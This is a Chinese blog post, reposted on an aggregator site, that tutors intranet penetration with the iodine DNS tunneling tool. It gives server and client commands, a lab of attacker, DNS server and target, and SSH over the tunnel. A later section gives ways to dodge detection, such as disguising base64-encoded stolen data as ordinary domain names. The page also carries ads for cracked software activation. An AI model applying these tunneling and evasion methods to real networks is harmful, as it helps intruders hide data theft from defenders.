内网穿透 隧道_内网渗透攻击

内网穿透 隧道_内网渗透攻击本文研究DNS隧道的一个经典工具,iodine

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全家桶1年46,售后保障稳定

前言

本文研究DNS隧道的一个经典工具,iodine

github:https://github.com/yarrick/iodine

一、概述

1、简介

持续更新,C语言编写,官方:http://code.kryo.se/iodine/

IPv4 over DNS,即通过DNS隧道转发IPv4数据包,在编码,请求类型上提供了更丰富的选择

  • 客户端为Win10时,环境搭建后,可连接成功,但无法ping通(即不可用!)
  • 支持直连和中继两种模式
  • 支持常见的DNS解析类型:A、CNAME、MX、TXT等

2、原理

DNS原理见:一文搞明白DNS与域名解析

通过TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一局域网(可以通过ping命令通信)。在客户端和服务端之间建立连接后,客户机上会多出一块“dns0”的虚拟网卡。
  
DNS隧道流程:iodine客户端->DNS服务商->iodined服务端

3、用法

(1)服务端

iodined -f -c -P <password> 10.0.0.1 vpn.abc.com -DD
-f:在前台运行
-c:禁止检查所有传入请求的客户端IP地址。
-P:客户端和服务端之间用于验证身份的密码。
-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。
这里的10.0.0.1是自定义的局域网虚拟IP地址。

Jetbrains全家桶1年46,售后保障稳定

(2)客户端

linux环境:

iodine -f -P  <password> vpn.abc.ltd -M 200
-r:iodine有时会自动将DNS隧道切换为UDP隧道,该参数的作用是强制在任何情况下使用DNS隧道
-M:指定上行主机的大小。
-m:调节最大下行分片的大小。
-T:指定DNS请求类型TYPE,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
-O:指定数据编码规范。
-L:指定是否开启懒惰模式,默认开启。
-I:指定两个请求之间的时间间隔。

windows环境:

  • windows客户端可以直接使用编译好的windows版本,同时需要安装TAP网卡驱动程序。
  • 也可以下载OpenVPN,在安装时仅选择TAP-Win32驱动程序,安装后服务器上就会多出一块“TAP-Wndows ADApter V9”的网卡。
  • 运行客户端程序iodine:iodine -f -P <password> vpn.abc.com,如果出现提示“Connection setup complete, transmitting data”,就表示DNS隧道已经建立。

二、实践

1、测试场景

(1)攻击机

Kali2021 192.168.10.128

(2)DNS服务器

windows server 2008 :192.168.10.200

设置静态IP,参见https://blog.csdn.net/pockeyfan/article/details/42063683

新建A记录,指向服务端kali
在这里插入图片描述
新建一个委托(即NS记录)指向刚刚设定的A记录的域名
在这里插入图片描述
再建一个A记录指向windows server自己
在这里插入图片描述

(3)目标机

Ubuntu 18.04 192.168.10.129

由于模拟的是DNS服务器是真正的权威服务器,即目标机应该能DNS解析到DNS服务器,所以要把目标机的DNS解析改下

在这里插入图片描述
nslookup检测下

在这里插入图片描述

2、建立隧道

(1)服务端

建立隧道前状态
在这里插入图片描述
建立隧道

iodined -f -c -P 123456 10.0.0.1 dnstunnel.test.com -DD

在这里插入图片描述
此时多了一个网卡dns0,ip是我们设置的10.0.0.1
在这里插入图片描述

(2)客户端

建立隧道前状态
在这里插入图片描述
建立隧道

iodine -f -r -P 123456 dnstunnel.test.com

在这里插入图片描述
也是多了个网卡dns0,ip为10.0.0.2
在这里插入图片描述

(3)ssh

此时隧道建立成功,在服务端会打印出心跳包
在这里插入图片描述
尝试ssh
在这里插入图片描述
隧道成功建立,流量可代理
此时,打印出的包如下:

在这里插入图片描述

3、抓包看看

建立隧道,域名让人没眼看
在这里插入图片描述
虚拟网卡中TCP握手
在这里插入图片描述
心跳包,走了一个来回,域名太异常了
在这里插入图片描述
虚拟网卡中
在这里插入图片描述
ssh时
在这里插入图片描述
虚拟网卡中
在这里插入图片描述

三、探索

1、源码与分析

TODO

2、检测与绕过

(1)虚拟网卡

本工具会创建个虚拟网卡来处理TCP

没法避免

(2)记录类型

这对本工具问题不大,因为可以支持常见记录类型,上面实验里是没有指定,但可以指定为A就问题不大

(3)异常DNS数据包数量

利用隧道时,会有大量DNS数据包,且来自同一DNS服务器

绕过方法:中间加间隔,但这样就会导致速度非常慢

(4)异常域名

建立隧道和心跳包的域名都太异常了,使用隧道时的域名就更是长base64字符串了

绕过方法:心跳包用正常域名,使用隧道时将base64拆分,不过会大大增加数据包数量

比如现在要把一个文件名 finalexamanswer.doc 传出去
base64 一下 -> ZmluYWxleGFtYW5zd2VyLmRvYw
然后编码常用域名,变成 Zm -> zone.music.domain,lu -> login.user.domain,YW``yun.web.domain …

(5)心跳包

心跳包的间隔已经比较长了(3s),但是数量是问题

绕过方法:间隔可以随机,数量可以换UDP socket重新建立隧道

结语

类似于icmptunnel,构建虚拟网卡来实现隧道

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/219611.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • react 父子传值_react 父子组件传值 兄弟组件传值「建议收藏」

    react 父子传值_react 父子组件传值 兄弟组件传值「建议收藏」一、子向父组件传值方法一:父组件//方法parentFn(data1,data2,e){//按照参数排列最后一个是eventconsole.log(data1,data2,e)//输出12event内容}//渲染render(){return(//子组件)}子组件//渲染render(){return(//可以直接获取props调用也可以重新定义在方法中调用子…

    2022年5月13日
    32
  • 滴滴2020年财报_互联网人民日报

    滴滴2020年财报_互联网人民日报今日看点✦华为2020年财报:实现全球销售收入8914亿元,净利润646亿元✦京东:签订最终协议将京东云和人工智能业务剥离给京东数科✦滴滴拿下消费金融牌照,成为杭银消费金融有限公司第…

    2022年10月8日
    3
  • 7种方法求解八数码问题

    【八数码问题】//https://vijos.org/p/1360在3×3的棋盘上,摆有八个棋子,每个棋子上标有1至8的某一数字。棋盘中留有一个空格,空格用0来表示。空格周围的棋子可以移到空格中。要求解的问题是:给出一种初始布局(初始状态)和目标布局(为了使题目简单,设目标状态为123804765),找到一种最少步骤的移动方法,实现从初始布局到目标布局的转变。【分析】题目读完第一感

    2022年4月5日
    164
  • 利用Matlab对经典鸢尾花数据集实现决策树算法分类,并绘图

       最近在学习数据挖掘,其实决策树分类看过去好久了,但是最近慢慢的想都实现一下,加深一下理解。  知道决策树有很多现成的算法(ID3,C4.5、CART),但是毕竟核心思想就是那几点,所以本篇博客就是我随便实现的,没有参考现有的决策树算法。考虑到实现分类起码需要一个数据集,所以我选择了经典的鸢尾花数据集,下载地址:Iris   选择iris.data点击右键连接另存为,即可…

    2022年4月7日
    197
  • c语言入门教程–-4运算符

    c语言入门教程–-4运算符

    2021年3月12日
    223
  • 互联网快讯:华为云正式推出区块链服务;猿辅导布局素质教育;轻松筹回应裁员

    互联网快讯:华为云正式推出区块链服务;猿辅导布局素质教育;轻松筹回应裁员国内要闻1、HarmonyOS2升级用户数突破1.2亿,平均每天超100万用户升级2、华为云正式推出区块链服务,单链支持每秒5万条商品信息上链3、荣耀CEO赵明:未来可能有上市计划,星耀公司不是荣耀子品牌4、顺丰回应被浙江省消保委点名:拟于9月29日下架“签收确认”增值服务产品5、轻松筹回应裁员:系因业务调整,所有人将按法律规定结算项目工资6、阿里云推出全球首个云定义存储产品,性能大幅提升300%教育培训1、国家发改委价格司:加强学科类校外培训收费监管工作2、猿辅

    2022年7月17日
    19

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号